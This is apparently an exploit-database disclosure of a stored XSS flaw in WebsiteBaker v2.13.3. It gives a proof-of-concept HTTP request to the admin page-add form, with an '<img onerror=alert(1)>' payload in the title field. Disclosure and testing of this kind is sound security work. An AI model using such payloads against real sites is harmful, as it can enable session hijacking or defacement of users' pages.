Exploit Title: WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS) Application: WebsiteBaker Version: 2.13.3 Bugs: Stored XSS Technology: PHP Vendor URL: https://websitebaker.org/pages/en/home.php Software Link: https://wiki.websitebaker.org/doku.php/en/downloads Date of found: 02.04.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== steps: 1.Anyone who has the authority to create the page can do this payload: %3Cimg+src%3Dx+onerror%3Dalert%281%29%3E POST /admin/pages/add.php HTTP/1.1 Host: localhost Content-Length: 137 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D; PHPSESSID-WB-0e93a2=pj9s35ka639m9bim2a36rtu5g9 Connection: close b7faead37158f739=dVhd_I3X7317NvoIzyGpMQ&title=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&type=wysiwyg&parent=0&visibility=public&submit=Add 2. Visit http://localhost/